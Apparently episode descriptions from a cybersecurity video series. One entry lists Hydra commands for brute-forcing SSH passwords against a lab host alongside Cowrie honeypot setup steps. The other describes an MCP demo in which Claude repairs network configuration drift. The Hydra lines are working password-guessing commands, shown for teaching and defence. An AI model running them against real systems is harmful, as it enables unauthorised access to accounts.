#501: Brute Force SSH & Build a Honeypot Now (Hydra and Cowrie Demo)
Big thank you to Cisco for sponsoring this video and sponsoring my trip to Cisco Live San Diego. This video features David Bombal and Kyle Winters demonstrating practical cybersecurity techniques. Kyle walks through how to use Hydra to brute force SSH passwords, explaining the process of leveraging wordlists and optimizing the attack. Following the offensive demonstration, Kyle transitions into defensive measures, showing viewers how to quickly and easily set up an SSH honeypot using Cowrie. The honeypot serves as a decoy to attract and monitor malicious actors attempting to access a network. The demonstration includes setting up the honeypot on an Ubuntu host, configuring IP tables for port redirection, and monitoring logs for incoming connection attempts. The video highlights the importance of understanding both attack methods and defensive strategies in cybersecurity. Kyle also mentions free ethical hacking training resources available through Cisco Networking Academy (netacad.com) and future tutorials on Cisco U (u.cisco.com). // COMMANDS // Devices: client 192.168.1.10 server 192.168.1.11 ubuntu-honeypot 192.168.1.21 Nmap scan: nmap -sn 192.168.1.0/24 Verify Hydra installed: hydra -h Show wordlists: ls -al /usr/share/wordlists/ Crack with known username: hydra -l admin -P /usr/share/wordlists/top-passwords-shortlist.txt -t 4 -f ssh://192.168.1.11 Crack with unknown username: hydra -L /usr/share/wordlists/top-usernames-shortlist.txt -P /usr/share/wordlists/top-passwords-shortlist.txt -t 4 -f ssh://192.168.1.11 Create dir for Cowrie: mkdir cowrie cd cowrie/ Clone cowrie: git clone https://github.com/cowrie/cowrie .

#500: MCP Demo using Python, AI and a self healing network (Model Context Protocol)
Big thank you to Cisco for sponsoring this video and sponsoring my trip to Cisco Live San Diego. See how Cisco engineer Kareem Iskander teams up with David Bombal at Cisco Live San Diego 2025 to build a self-healing network in real time. Using the new Model Context Protocol (MCP), Splunk logs, Meraki APIs, and Anthropic Claude, Kareem’s Python code lets an LLM detect configuration drift and automatically revert changes, no manual troubleshooting required. You will learn: • What MCP is and how it exposes trusted tools to an LLM • How Claude reads Splunk, correlates Meraki changes, and repairs configs • Why two lines of code can spin up an entire MCP server from OpenAPI specs • Where to find Kareem’s full code on GitHub and his upcoming Cisco U tutorial // Code // Get the code here: https://github.com/kiskander/mcp-splu... //Kareem Iskander SOCIALS // LinkedIn: / kiskander X: https://x.com/kareem_isk Cisco Blogs: https://blogs.cisco.com/author/kareem... // Website REFERENCE // https://github.com/kiskander/mcp-splu... https://u.cisco.com/tutorials/enhance... https://u.cisco.com/tutorials/network... https://u.cisco.com/tutorials/network... // David's SOCIAL // Discord: discord.com/invite/usKSyzb Twitter: www.twitter.com/davidbombal Instagram: www.instagram.com/davidbombal LinkedIn: www.linkedin.com/in/davidbombal Facebook: www.facebook.com/davidbombal.co TikTok: tiktok.com/@davidbombal YouTube: / @davidbombal Spotify: open.spotify.com/show/3f6k6gE...
